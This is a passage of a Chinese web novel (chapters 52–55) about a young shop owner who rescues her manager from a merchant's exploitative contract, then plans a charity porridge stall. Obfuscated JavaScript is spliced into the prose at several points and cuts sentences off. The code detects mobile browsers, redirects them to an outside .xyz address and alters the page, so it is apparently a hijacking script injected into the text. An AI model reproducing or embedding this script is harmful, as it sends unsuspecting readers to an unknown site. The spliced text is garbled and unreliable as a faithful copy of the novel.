这其中最出名的一件事还得属十五年前的断肠事件：有位大户人家的儿子被掳，贼人就这样朝那位大户人家的老爷各个部位明码标价地让他赎，那位老爷筹遍了所有的钱，却还是略有缺欠，最后那贼人收了钱倒是放人了，却因为那位老爷缺的钱正好是那位少爷一段肠子所标的价钱，于是山匪当场一道捅进那位少爷的腹部将他开膛后扯着他的肠子砍下一段，随后将他往那位老爷面前一推——据说当时那位少爷的肠子都从伤口处涌了出来，拖到地上，长长一条，甚至还在地上蜿蜒出了一道血痕。 结果可想而知：虽然那位老爷慌忙地把儿子的肠子塞回肚子里，又急忙让小厮请了最近的大夫跑过来诊治，但最终，他的儿子还是因为失血过多而咽气。而这位老爷在举办完儿子的丧礼后，又从江湖上请来最好的杀手，灭了那贼人全族。 由于此事实在骇人听闻，以至于惊动了朝廷，整个淮安的官员全部被通缉，就连淮安的衙役们也全部被抄家砍头，一时之间，人人喊打、人人避难，直到陛下将整个淮安的官宦人员彻底来了一番大换水，此事才渐渐平息。 再后来，随着律法越发完善，对此事的处理日益严苛，这才没有人敢顶风作案、孳生祸端。 似是知道李素染今日会请帮手前来，钱有富缓缓拿出自己一大早上就揣在怀里的契子，双手递给白栖枝看，脸上圆滑且不留痕迹地微微一笑：“白小老板请看。” 白栖枝早从李素染口中知道了这契子上的内容，但她不敢略看，生怕自己看漏一个字就会使李素染有血光之灾。 深重的视线在纸上一个字一个字地掠过，漆黑的眼瞳倒映着上面每一个字的形状，待仔细看过一遍后，白栖枝忽地发出一声轻笑，面上又恢复了平时那副和煦的笑颜，将那契子折叠好后又还给了钱有富。 后者急忙宝贝似的收回契子，刚揣入怀中，就听着白栖枝浅笑说道： “既然钱老板白纸黑字写了个明白，那依我看，想要赎回我家李掌柜不仅不用我出钱，钱老板您还得倒赔我二百两呢。” “你什么意思？！”钱有富勃然大怒。 先前讨好的笑容从他脸上瞬间褪去，一张肥硕的脸上余下的只有阴沉冷厉，他阴狠地看向白栖枝，摆出一副凶神恶煞的模样，如同正磨牙吮血的猛兽般，指着她的眉心朝她厉声骂道： “你个小贱|货，别以为有林家撑腰你就能如何？据我所知，那林听澜也没有多稀罕你嘛！在他眼中你不过就是个死了爹娘的丧家犬！如今夹着尾巴求别人庇护，倒还真把自己当个主子似的拿架子了？下作的东西，也不看看自己是什么德行！” “我告诉你，契子就在我手上，这上面写的清清楚楚：自打契子签下后，她李素染浑身上下的零件儿就归我所有，任凭处置！契子是她自愿签的，我可没逼着她，现如今她没有按照契子上的做，被剁手也好、被打断腿也好，她就得乖乖受罚！别说叫你一个黄毛小丫头来给她撑腰，就算是叫官府的人来，她都逃不掉！” “想赎她，这一百两你愿意出就出，不愿意出就滚！还要我倒给你拿二百两，你哪来的口气？眼下四处无人，我劝你赶紧滚蛋，不然小心老子一个不顺心，连你的手也一起砍！” …… 52. 败絮 钱有富本觉得白栖枝一个小丫头，被这么一吓肯定会魂飞魄散地逃走，谁料后者反倒不以为怵。 “按大昭律法——” 白栖枝上前一步，倒逼得他后退半步，才开口朗声道： “按大昭律法，若店家设计使伙计签订黑合同，是为欺诈之举，违背契约订立之自愿、诚实信用原则。依律，此类契约当为无效。官府可依律对店家进行处罚，若情节严重，当对店家施以刑裁！[1]钱老板怀中白纸黑字签署下的契约而今便是铁一般的罪证！钱老板不若猜猜，若是我将此事告至官府，官府改如何判处？更何况，钱老板方才出口不逊，竟说要斩我手足。” 她说着，伸出两条白似嫩藕的手臂，撸起袖子，露出两根瘦得伶仃的手腕，上头朱砂手环灼目，就放在钱有富面前，进逼一步道：“按大昭律法：以手足殴伤人，辜限为十日；以他物殴伤人，辜限为二十日；以刃及汤火伤人，辜限为三十日；折跌肢体及破骨者”，辜限为五十日；若在辜限内导致他人死亡，则以杀人罪论处！[2]难不成，钱老板还想要杀了我么！” 最后一句掷地有声，犹如一把开了刃的利剑直戳钱有富心口，白刀子进，红刀子出，刀尖染血，淋漓点滴，俱是刺痛。 钱有富没想到自己竟然惹了个活律法。 作为淮安富商商人，最应会的便是熟知律法，而后铤而走险，从律法的缝隙间捞金子——没人比他们更熟知法条。 钱有富自知白栖枝说得不错，可眼下话已落地，便是覆水难收，他狞笑道：“那又如何？现如今此处不过你我她三人而已，你说契子有诈，我便将契子烧毁就是，你说是我看你手脚，四下无人，又有谁能证明是我做的呢？” 白栖枝亦笑道：“那你又怎么能证明此处只有我们三人而已呢？” 话音落下，钱有富只见白栖枝忽地皱眉娇嗔一笑。 电光石火间，只听“啪”地一声脆响。 她竟往自己脸上来了个响的！ 此举实在是令人意外，别说是钱有富，饶是李素染都当即立在原地，不知发生了何事。 红痕一点点浮上脸颊，白栖枝眼中含泪，瞬间变作一副柔弱无辜的神情，朝着外头哽咽喊道：“林哥哥……” 霎时间，外头站了一排黑压压的身影。 不知何时，无数林家家仆将此地围得水泄不通。 在钱有富威胁白栖枝之时，他们就已经一直蛰伏于院外，听着里头的声息，奉命以待。 直到白栖枝这一声喊骤然落地，他们才得令似的立即冲上前来，将钱有富围了个水泄不通。 钱有富被这么一群如狼似虎的家仆们围住，当即便慌了神，开口想说些什么，就见着那些人忽然分成两半后退一步，竟开生生出条通坦大路来。 一个高大年轻的身影从大路那头缓缓走进，此人眉目疏朗凛冽，上身一件靛青色金边刺绣锦缎褙子，下身一条深蓝色羊毛长裤极为厚实精致，腰系玉带，脚蹬压纹皮靴，如此雍容华贵之人，除却淮安首富林家大爷林听澜还能是谁？ “林哥哥……”白栖枝当即流下泪来。 两人目光如同刀光剑影般一错，白栖枝眼中起了浅浅的笑意随后又被强行扼死在那双漆黑眼瞳中，柔弱地，看向林听澜，似想要他来为她主持个公道。可后者仅仅只是与她错了这么一眼，没有理，转而看向钱有富。 少年气势逼人，加之又是淮安首富，此刻站在旁人面前，半露着锋芒，犹如一头幼豹在磨牙吮血，伺机以待一个能将面前人脖颈咬穿的好由头。 “钱老板……”林听澜轻声唤了一句，如同滴水溅石，声音清冽，却又叫人富毛骨悚然。 钱有富只听他徐徐道：“白小姐好歹也是我的远房表妹，她的手您说剁就剁，脸说扇就扇，未免也太不给我林某面子了吧？” 钱有富此时早就慌了神，听他说，当即辩解道：“不是我，是她自己扇的！关我什么事？” 白栖枝仍然捂着脸，听他这话，当即落泪柔弱反问道：“若不是钱老板您，难不成是枝枝对自己下了如此狠手么？” 说完，她将手一点点地放了下来。 小姑娘泪光莹莹的眼睛如同掩映在流云里的月亮，而在这两弯月亮下，一个可怖地掴痕深深印在她琉璃似的白净面颊上，红肿着，约莫有一个半月痕高，已经显露出了些许指痕，可见这一掌下去有多么用力。 一个小姑娘被人如此欺负，在场众人都忍不住倒吸一口冷气。他们愤愤看向钱有富，攥紧拳头，一双眼中重重怒火涌动，仿佛下一秒就要将他乱拳打死。 一瞬间，钱有富便是有百口也难辩。 “不是我！不是我！是她！是她！”他指着白栖枝，惊慌到了头，反倒露出狞笑来，“哈哈哈，好你个小婊子，竟敢加害于我！不对，你们是一伙的！你们是一伙的对不对？！你们想要搞死我！你们想要搞死我！” “我又怎么会搞死钱老板呢？”白栖枝一双桃花眸眼波流转，又看向林听澜，娇嗔道，“表兄，你吓到他了……”她说着，后退一步。 两人之间隔开一道可以喘息的缝隙，钱有富脸色煞白。 此刻，他背对着众人，朝白栖枝疑惑地递上了个愤怒的目光，仿佛在质问着她这是怎么回事。 白栖枝则因着隐没在他的阴影中无法被旁人看到，进而递给了他一个“放心”的眼神，随后，抬起手，以一个众人看不到的微小动作朝他亮了亮袖子里的东西。 “钱老板。”白栖枝依旧带着泪痕柔弱开口，“栖枝本不想将事情闹得如此之大，栖枝只是想要回我香玉坊的李掌柜，奈何钱老板实在是不配合，栖枝没有办法，这才能求诸于林哥哥，眼下这种情况，栖枝又有什么办法呢？就算您把我骂个狗血淋头，也于事无补呀——不如您问问林哥哥该如何？” 此刻在场中身份最重的便是林听澜。 见白栖枝将这事儿抛给自己，他厌烦地皱了皱眉头，脑内又回想起那日他责问完白栖枝后，那人从地上站起，同他一同出去时站在他身侧说的那番话。 ——林哥哥，你有没有什么需要从桃妆轩索过来？ ——也是，林家家大业大，不缺他这一点。不过我倒是有些事需要林哥哥来帮我 ——啊，倒也不是什么大事。您不是说李素染现如今在别人手里，害怕她把一些不该讲的事讲出去么？那我就请您帮我把她抢回来吧。 ——嗯，是一定得抢回来呢…… 当时他念着她为他受那二十大板心怀愧疚，这才答应帮她，没想到这小妮子一转头就将事儿尽数推到他身上，让他来唱红脸。 饶是厌烦，林听澜此刻面上也不敢露出什么颜色，见钱有富转身惊慌地瞧着自己，就知道这场戏他不得不同白栖枝演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这东西是家里那个母老虎在结婚之日赏给他的，近几日见他没带一直在问他把这东西放哪了，他以为是丢了，便是打着哈哈糊弄过去，哪成想着东西如今竟出现在这位小姑娘手里？！ 钱有富当即警觉地问她这东西从哪里来。 可白栖枝只是笑。 她没有说这东西的来历，而是又让他看这方帕子他可也熟悉？ 钱有富这才认出来，现如今出现在她手里的，正是他外头那位情妇的贴身帕子！ “金玉其外，败絮其中。”白栖枝轻咬贝齿，嫣然一笑，“这败絮若是好好地藏在里头倒也无所谓，可万一被人明晃晃地拿到面上，那便是十层的金玉也盖不住啊……” 钱有富本就是靠这妻家才一点点得到如今的富贵，如今若是被他夫人知道他在外头有了情妇，按那母老虎的性子，别说到时候要将他撵出家门，就是将他碎尸万段浸猪笼也未尝不可说！ “你想要做什么？”四下无人，钱有富逼近一步低声厉呵道，“你想对湘红做了什么？！” “不做什么。”白栖枝轻轻将东西包好，收回自己袖中，浅笑道，“只是请她前去小叙，顺便想让钱老板陪小女子演绎出戏码罢了。不然，这些东西，和那位小姐没准儿哪天就会碰巧出现在令夫人的面前，只怕这也是钱老板所不想的吧？” “少说废话！”钱有富爱湘红如命，此刻不知她性命无虞，便是心急似火，连最后一点理智都烧没了，气急败坏地瞪着白栖枝，拼命忍着怒火问道，“什么戏码？” 面对他的逼问，白栖枝略微思忖了一下，随即抬起头盯着他气得涨红的脸，轻轻悠然一笑道： “大概是……一个施恩于属下的烂俗戏码吧。” …… [1]参考《宋刑统》 [2]参考《宋刑统·保辜》 53. 怜爱 “卖身契”被递到了白栖枝手里，她只是打开略看了一眼就将它朝李素染的方向递过去。 “啊……啊！”李素染如梦初醒，赶紧跑上前去，甚至因为太过急促被横在地上的扫把绊了一跤。 “小心。”白栖枝伸手去扶，却半点没触碰到李素染的身子。 反倒是李素染自己扶着柜台才没有摔倒。 她笑了笑，难得地露出了女儿似得娇憨的神情，接过白栖枝手中的契子就要往怀里揣。 “等等。”白栖枝的一声唤叫李素染的动作停下。 手还虚虚搁置在心口，李素染抬头看她，只见白栖枝眸中星火熠熠： “撕掉。” 正当她浑然不解时，白栖枝又补道：“从今以后你再不是谁的奴，你可以是香玉坊的李掌柜，但你更是你自己。撕掉它，不要被这薄薄的一张纸绊住，此后山高路远，往前走，别回头。” 李素染心中大恸。 有泪花盈在她眼中，可她却怎么也落不下泪来。 怎么前三十二年没有人同她说这种话啊，害得她一直在香玉坊与成婚生子间不住地摇摆后悔，害的她一直在凝视着自己的苦难，害的她一直纠结着香玉坊曾经的苦难。 可是，这世间的一切不都是在向前走的么？ 为什么呢？为什么她总是要回头看，看自己这一路的血与泪，而后伫立在原地踯躅不前呢？ 可是她当然可以一边成婚一边经营香玉坊啊，香玉坊也不是非倒不可啊，香玉坊也可以越来越好啊！ 李素染怔怔地看向白栖枝，而后又转头望向林听澜。 恍惚间，一股悲痛又畅快的情绪流过她的四肢百骸，随着她的泪花一起氤氲出来。 大爷还没放弃香玉坊呢！白小姐也还在和坊中的大家一起努力呢！！ 为什么？为什么独独只有她服气一走了之？明明她不应该是最爱香玉坊的人么，为什么最先离开的却只有她一个人呢？ ——究竟是真的放下了，还是满腔的恨铁不成钢？ 泪水顺着眼角蜿蜒而下。 李素染甚至分不出这正在脸上流淌的究竟是自己的泪，还是自己这么多年来一直压在心底郁结。 她又回过头看着白栖枝的目光，郑重地，用双手的食指与拇指一起捏着纸页。 用力。 “撕拉！”一声，那薄薄的一片纸就这样被撕裂开来。 随着更多的“撕拉”声响起，手中的“卖身契”碎成万万片。 李素染将手痛快一扬！ 撕碎的纸屑漫天飞扬，如碎琼乱玉般纷纷飘零落地。 白栖枝一直沉寂的杏眸里忽地有了光，她静默地站在那里，仰头看着，仿佛在迎接人生中的第一场雪，待雪落尽，她才回过眼眸婉转落到李素染那张满是泪痕的脸上，微微笑着，并不言语。 李素染抬手用手背在脸上狠狠一擦——她不哭了，也没什么好哭的，许多事到此为止了，她也要开始往前走了。 “东家。”李素染镇定地看向白栖枝，缓声道，“从此以后，我李素染，任凭东家差遣。” 话音落地，反倒是林听澜先扬起眉头来。 ——有意思。 不过是一套俗烂至极的戏码，竟真能叫人臣服下来。 究竟是这戏太逼真了呢，还是她知道李素染的性子而专门为她下了这个套呢？ 如果是前者倒也还好，毕竟他不知道白栖枝为了这场戏码究竟做了多少前置准备； 可若是后者，那也实在是太不容易了，先是利用李素染掌柜一职设下库银被盗的案子给她一个小小的教训，而后再是改却坊内制度将她的职权撸下气的她头脑发热，让她在巨大的愤怒之下抛下经营了多年的香玉坊一走了之，等到李素染真的走了，又派宜和楼的伙计前来邀约，让她在宜和楼吃点苦头。虽然这事儿被面前这位钱老板给截胡了，但她却又能在第一时间想到对策，既能压制钱有富，又能施恩于李素染，还能做实自己与她只是表亲的身份，可谓是一箭三雕啊…… ——你怎么确定我露面，就可以做实你我表亲的身份？ ——商人么，传来传去也就那么点事儿，在外人眼中，我只是一个寄宿在你家的孤女，同你没有半点关系。可事情坏就坏在这里。既然我同你没有关系，那为什么我可以一直寄宿林家？此事一旦激起淮安商户们的好奇心，他们就会绞尽脑汁去追寻你我的过往，到时候我与你是娃娃亲这事儿一旦被扒出来，你该如何是好？我该如何是好？沈哥哥更该如何是还？ ——所以你要借钱有富的眼来做实你我实为表亲？ ——差不多吧。你能为我出头，就足以证明你我关系之密，到时候你再亲口说我是你远房表妹，惊恐之下，他完全来不及细想，你说什么便是什么。待到事情过后，他也只会念着我是你表亲这件事，而后偷偷告诉身边人，这样一传十十传百，又何愁全淮安不认？总比你一句挨一句的解释要强吧？ ——呵，看来你在忘尘身边也没白待么，不过短短三个月，竟真叫你学了点好东西。 ——承让承让，对于林大老板来说，我学的这点小伎俩又算得了什么呢？不值一看。 白栖枝不是没有看到林听澜那玩味的神情，她垂下眸子，没去看他，转而对钱有富道：“既然钱老板如此通情达理，那栖枝便在此谢过您的好意了。” 说着，上前一步，在他面前欠身一礼。 在她微微屈膝行礼的时候，钱有富假装伸手去扶，却感觉自己伸出的手里被偷偷塞了个丝绸质地的硬物。 他一惊：当着这么多人的面，她也敢！ 钱有富下意识慌张地朝四周望，可是没有，没有人看见这一点异样。 她的速度太快了，几乎就是一瞬间顺着他的动作将那玩意塞到了他手里，哪怕是距离两人最近的李素染都没有发觉。 而她的动作又异常熟练，几乎只是行云流水间就将事情轻而易举地做到，可见此前她应是做过无数遍。 这个小姑娘到底是什么来历？怎么还会些江湖把戏？ 钱有富下意识地皱起眉头，甚至没有发觉白栖枝已经起身上前，错开他，拉住李素染的手朝林听澜的方向走，一张小脸上洋溢的尽是与面前人心有灵犀的笑。 林听澜就知道，这小妮子打算把收尾的事儿交给他来做了。 真是……在忘尘那边正经的事情没学到，这些小聪明倒是用得灵敏。 想着，林听澜手握成拳抵在唇边一咳。 钱有富恍如初醒地回过神来。 两人都不知道彼此只是被白栖枝拉了做戏，由是，林听澜半是威胁半是和缓同钱有富打着太极，后者也自然半是后怕半是讨好地同林听澜打着哈哈。 待到两人将事情做足，回过神来时，白栖枝早就不知何时拉着李素染不见了踪影。 “东家……”大街上，李素染喃喃着要说些什么，却被白栖枝打断，“回去同大家说吧，毕竟他们才是与阿姊一直并肩作战的伙伴，枝枝暂时还有些事要办，就不陪阿姊一起回去了，还望阿姊见谅。” 说完，她松开李素染的手，欠身与她拜别。 李素染不知道她还有什么事要做，但见她如此，只好也点头与她拜别。 香玉坊内，大家都是一副无精打采的模样。 没了李素染，他们这坊开得实在是无滋无味，若是掌柜的能回来…… “掌柜的！”不知是谁先一声惊呼，其余二人纷纷抬头，就见着李素染站在坊门内，看着他们，一点点地湿了眼眶。 “掌柜的！！！”紫玉恨不得要将她扑倒在地，一个飞扑挂在她肩膀上，呜咽道，“掌柜的，你这两天都去哪了，没有你，我们吃不好饭睡不着觉，一天天净在这儿想你了！” 莫当时也在一旁赶紧点头应道：“是啊掌柜的，没有你， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是在面对白栖枝说出这句话时，他依旧能不显山不露水地微笑着，温声轻轻问道：“事情都做完了吧？枝枝是不是累了？如果实在是太累了的话，就先行回房休息吧，沈哥哥一个人在这里下棋也没关系，一切还是要以枝枝的身子为重啊。” “没事的沈哥哥，枝枝不累。”白栖枝答道，“至于坊内，尚且还有两位没有收拾过，可距离二月过去也只剩下半个月不到了，就算枝枝想收拾也只能先放一放，一切还是要先以香玉坊为主，其他的，不重要。” “只剩半月不到了么？”沈忘尘仿若初知般喃喃着。 他举起茶盏，看向密不透风的窗外，轻轻地，抿了口温热的茶水。 “唉——” 沈忘尘长舒了口气，又回过头看向白栖枝，弯唇一笑：“若是沈哥哥的腿还能动就好了，这样沈哥哥还找一找从前的那些友人，帮枝枝一把。只可惜……”他顿了顿，眸中露出凄苦的神色，苦笑道，“只可惜沈哥哥如今双腿尽断，只是废人一个，帮不上枝枝什么忙了……” 白栖枝闻言抬头，就见着沈忘尘在抚摸着他那双如枯枝般的残腿，眼中尽是悲怆无助，就连嘴角那向来不变的弯弯弧度也渐渐露出一抹凄苦来。 心尖忽地一阵钝痛。 白栖枝上前，一滴泪正好落在沈忘尘的纯白的衣摆上。 泪痕晕开一个浅浅的水渍。 白栖枝眼中涌出大颗大颗的泪点，哪怕她此刻面无表情，沈忘尘也能从她那双清澈如水般的明眸中读出满满的心疼。 “傻孩子……” 沈忘尘低叹一声，抬手怜爱地抚去她脸上的泪痕，又抬眸看向她的眼，顿了顿，微皱眉头，轻轻摩挲着她的面颊，无奈苦笑道： “傻孩子，除却阿澜，沈哥哥的身边便只有你了。你可千万……” “千万不要让沈哥哥失望啊。” …… 54. 月事 翌日，白栖枝回到香玉坊，坊中一切如常，就是大家看她的神情略有变化。 仔细一问才知道，在李素染回来后，紫玉一个没忍住，将她之前在林府受的那点子破烂事全都一股脑地说了出来，以至于大家现在看她，既不是从前那种轻蔑，也不是把事情都处理妥帖的信服，而是一种说不清道不明的怜悯。 “不要向上怜悯，说到底，我还是香玉坊的东家，仅凭这一点我就没什么好可怜的。”白栖枝解释道，“与其在这里平白地怜悯我，不如去百里之外的村庄看看，看看那儿的人是如何过火，再回过头来瞧瞧我，你们就不觉得我可怜了。” 说完，她又当着众人的面把莫当时揪到一旁。 “拿着。”白栖枝从袖中拿出一吊钱，塞到他手中，“玉佩和手帕的事儿你功不可没，目前香玉坊进账少，我手里也没什么钱，剩下的先欠着以后再补给你。” 若不是莫当时经常去花楼喝花酒，无意之间撞见钱有富与妓女湘红有染，又用钱有富的夫人偷偷威胁哄骗湘红，让她把东西交给他处理，这事儿也不会这么顺利。 “还好掌柜的没遭什么罪，不然我可就是香玉坊的罪人了。”说着，莫当时默了默，用指腹摩挲了下手中的吊钱，将它塞回白栖枝手里，“东家，我知道您是为了咱们香玉坊好，这事儿本就是我该做的，要什么奖赏呢？更何况你把后半辈子都押在咱香玉坊了，光凭这点，我就更不能要您的钱了！” 莫当时知道白栖枝这事儿知道的比莫伯和李素染还要早。 他和紫玉平时关系不错，紫玉知道那事儿后一直忍着没告诉其他人，可她又是个实在忍不住的，回来纠结了半天，还是跟莫当时说了。 莫当时平时瞅着嘻嘻哈哈不正经，但在嘴严这方面还是可信的，不然又怎么会天天有花楼姑娘找他喝酒谈心呢？ 白栖枝当然不敢收他退回来的吊钱。 她将手背到身后，严肃道：“一码是一码，你收着，这是你该得的，倘若不收，我便是欠了你好大的人情，日后指不定要怎么还呢，还是用钱最方便。” 话虽然伤人，但事实也确实如此，人情就像个大雪球，只会越滚越大，不会越缩越小。 所以趁着现在此事还能用钱来度量，白栖枝自然就只想用钱来偿还他这份人情。 莫当时当然明白他的想法，也不再辩驳，将那吊钱缓缓揣在袖中，又跟着白栖枝回到大家面前。 众人都以为是东家又去训莫当时了，倒也没怎么在意，继续筹划着如何将香玉坊做大做强。 “东家。”李素染当了这么多年掌柜，自然是首当其冲。 她开口道：“之前我去拉拢旧客，有位夫人同我说过，之所以现在咱们香玉坊客源稀少，是因为咱们香玉坊现如今籍籍无名，那些贵妇人用了咱们的胭脂觉得掉档次。所谓‘酒香也怕巷子深’，若是真想解决此事必定得先将咱们香玉坊的名头搞起来，等到名头一起来，客自然就多起来了，到时候一传十十传百，咱们香玉坊便不愁无法东山再起了。” “掌柜的说的对。”莫当时也应和道，“当年咱们香玉坊名头大的时候，在花楼里可谓是炙手可热，多少姑娘争着抢着要买都不一定买得到，更何况那些有名的花魁还想要多多屯着？后来香玉坊没落了，咱的胭脂也很难卖出去，如今花楼里的那些姑娘们若不是还念着咱的胭脂品次好，估计早就没人用了。” “可名气哪是一天两天就能抬得起来的呀？”紫玉长长叹了口气，一手拄着下巴，一手摸着茶杯，伤声道，“当年的香玉坊还是打着大爷的名号做的呢，不也还是用了小半年才做起来？如今二月只剩下半个月，十四天，怎么用十四天把一个几乎败落了的水粉铺子做出名头来啊？我看大爷就是故意要难为东家才出了这么个阴损的毒招，实在不行……实在不行东家你跑路吧，我们一起给您凑点钱，您逃出林家，去外头做点小买卖，也比被困在林家一辈子强啊！” “就是！”说起这茬，李素染也愤怒了，当即一拍桌子恶意揣度道，“把一个小姑娘困在府里，谁知道他存的是什么心思啊！现如今林老爷只有大爷一个独子，大爷又是个断袖，照此下去，林老爷这一脉就要断在大爷手里了——那必不能够啊！万一他哪天起了什么歹心，非要你给诞下个子嗣，那你这辈子岂不是就毁了？” 白栖枝本来就心情糟糕，听到她这么揣度，心情更糟了。 “不、不能吧？”她难得地没露出半点笑意，纠结道，“我好歹是他远房表妹，若是如此，那他岂不是……” 李素染当即反驳道：“哎呦！就是大户人家才玩的花呢！有些有钱的商贾为了财不外流，非得要找自己亲戚结亲家，叫什么……啊对，亲上加亲！更何况，你只是她远房表妹，又不是亲表妹，这亲，哪里就结不得了？” 紫玉瞠目结舌：“好可怕……” 如同是吞了个苍蝇，白栖枝一连觉得有些反胃，不忍再听，赶紧将话题转回来：“跑是跑不了了，林家家大业大，无论我跑到哪里都能被捉回来，还是想想眼下这事儿该怎么解决吧。” 她顿了顿，抿唇垂眸深思，忽地灵光一闪，却又觉得此事难成。 想了又想，白栖枝方且开口。 …… 严冬过后，下雪的日子是越来越少了。 明明才是二月中旬，日头却较往年冬天足了起来，积雪微化，连带着天都暖了起来。 过了最忙的日子，林听澜倒是闲了下来，可也算不上闲，只是生意谈得比之前少了些，有时间多陪陪沈忘尘。 可就算如此，他也不能时时刻刻都待在沈忘尘身边，他一走，原本还与他谈笑的沈忘尘便生出莫大的寂寥感，盯着榻上空落落的位置，竟意外地觉得有些苦闷。 他是想找人说说话的，可枝枝在忙，丫鬟下人们也未必能同他说上些什么，最后，便只能让下人推着，在这偌大的林府里百无聊赖地逛逛，也当是出来透口气了。 沈忘尘自己的贴身小侍早在他被撵出沈府前就被他父亲杖毙了，在进入林府后，他的事一般都由林听澜一手料理。 府内小厮与他不亲，也没有一个贴心的，遇到他，大多也很沉默，除却传话与回话外从来不同他多说什么，以至于每逢闲时，他一个人呆着，难免会略感寂寞。 如果自己的腿没有断就好了…… 看着开满红梅的空空院落，沈忘尘如是出神想着。 突然—— “什么人？” 身后小厮大喝一声，惊得沈忘尘只听自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975446|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸腔里“咚”地一声，连带着枯树似的身躯都微微颤抖，几欲发病。 他勉强忍住欲的发痉挛，回过神来，朝前看去。 只见一位丫鬟躲在暗处，被这么一呵，当即吓得一哆嗦，想逃又逃不掉，只能瑟缩着走上前来欠身一礼，红着眼支支吾吾道：“见过沈公子……” 她的手里抱着件衣物，准确来说，应该是亵裤，看起来应该是要去浣洗衣物。 这本是件再平常不过的事情，可她为什么要如此躲闪还一副泫然欲泣的模样？ 沈忘尘心下疑惑，温声问道：“你方才躲在那里做什么？” “我……我……”丫鬟抱着亵裤支支吾吾不敢作答。 见她越发面色难堪，沈忘尘身后的小厮当即一个箭步夺过她手中的亵裤。 “哎！不要”未等丫鬟的惊呼声脱口，小厮将手中亵裤一抖。 一片大红色的血迹展露在三人面前。 丫鬟当即脸色一白，站在原地，垂头双手死捏着衣角，不敢抬头去看这令人羞愤欲死的场面。 岂料小厮根本不懂，见到血迹，将她一领一揪，逼问道：“说！你是不是杀了人！亵裤上沾了血，这才躲躲闪闪地想要将其处理掉？尸体在哪？！” 丫鬟被问懵了：“什么尸体？” 小厮道：“若你没杀人，这亵裤上何来血迹？！” “你有病吧！这是我的月事！” 面对小厮讶异的神情，丫鬟当即气红了脸，甚至连害怕都忘了，立即将亵裤一把抢回，跪在地上同沈忘尘解释道：“回沈公子，奴婢不是有意躲藏，实在是奴婢今日来了月事不小心弄脏了亵裤，这才想抱去浣衣房清洗，没想到路遇沈公子出来赏梅，怕冲撞了您，这才有意躲闪，奴婢没有做亏心事。”说完，又抬头愤愤朝小厮翻了个大白眼，这才低头等待沈忘尘的责罚。 这倒也说在沈忘尘的盲点上了，不过他倒也不是全无所知—— 《黄帝内经·素问·上古天真论》云：“女子二七而天癸至，任脉通，太冲脉盛，月事以时下，故有子。” 但具体是怎么回事，他作为一个男子，确实是不太了解其中状况。 “月事……”他喃喃着，露出疑惑的神情。 这下反倒让丫鬟又羞红了脸。 她本不想解释，却又怕沈忘尘不肯放过她，勉强了一会儿才支吾解释道：“回公子，女子至十四岁时便会有月事，月事来时□□有血流出，多为黯红色，质地不稀不稠，也无任何异味，就是……就是难以清洗，并且一般会持续三至五日，期间会有轻微腰酸、小腹胀痛等不适，但也无大碍，实属常事。不过这事儿到底是难堪，奴婢这才会躲着沈公子，奴婢真的没有做什么坏事啊。” 沈忘尘听着，眉眼微垂，似乎在想什么事，并没有听她求饶，而是接着她的话问道：“若是女子十四五岁还没有来月事，身体可会有什么影响？” “这……”丫鬟想了想，小心翼翼地回答道，“倒也没有什么影响，只是……只是恐怕今后再不能受孕……” 不能受孕。 闻言，沈忘尘眉头一皱，顿时想起白栖枝平日里的表现，心下颇有些不安—— 那孩子，似乎还没来过月事。 …… 55. 安心 “有了！倘若我用这几日的收益，再加上我自己之前攒的一些钱在咱香玉坊门口开设粥棚，兴许能引些人来。” “砰——” 面对白栖枝的灵机一动，众人胳膊肘一滑差点趴倒在桌上，纷纷无奈扶额。 “东家，没用的。”李素染吃痛地揉了揉自己眉心，“人引倒是引过来了，但也只是些叫花子而已，他们又买不起咱坊里的胭脂，怎么引他们又有什么用呢？不行不行，还是换个法子吧。” “我倒觉得未必。” 一直以来从不掺和坊内大事的莫伯突然开口，惹得大家纷纷朝他望。 只听莫伯道：“虽然粥是施给那些贫苦老百姓的，但我想，东家想做此事未必只是为了救济他们。” 李素染：“怎么说？” 莫伯看了看白栖枝赞许的神情，一直紧绷的脸上不由得也舒展出一丝笑意：“这就要听东家怎么说了。” 众人又纷纷看回白栖枝。 白栖枝抿了口茶水，缓缓道：“莫伯所言确为不错，施粥只是经过，并非结果，我要做的，是要给那些淮安的大人物们看的。” 紫玉道：“可是那些大人物们只管东西有没有名气，哪里有心情看这件事呢？” 李素染这时忽地了然：“也未必要他们亲眼来看。” “不错。”白栖枝点点头，接着她的话解释道，“现如今，比名气，咱们香玉坊是比不过那些桃容阁、秋妆楼，但，名气也并非要出自那些贵客身上。如今咱们开设粥棚施粥，抢的就是一个人口相传。” “人口相传？” “嗯。”白栖枝抽丝剥茧道，“据我所知，那些贵客们，除却看产品名气是否在淮安出名，也要考量铺子在淮安的影响力。现如今鲜有人在淮安开设粥棚救济百姓，那咱们便要抢占先机，先做那个第一位吃螃蟹的人。” “所以您的意思是，想要从民声入手，扩大铺子的影响力，将咱们香玉坊的名头打出去？可是，您又怎知此事一定能成？倘若那些贵客们不买账该如何？” 此话一出，白栖枝垂下眼眸，缓缓摩挲着自己手中的茶盏，缓缓吐出一口浊气：“所以我也是在赌，赌他们附庸风雅，赌他们特想搏一个‘仁义’的名声。要知道，名声越好，越能在市井朝堂中如鱼得水，等到咱们成了仁义店铺，他们为了蹭咱们的好名声自然也会来买咱们的东西，这样一传十十传百，难不成还愁这淮安境内无人能知晓我们香玉坊的名声？” 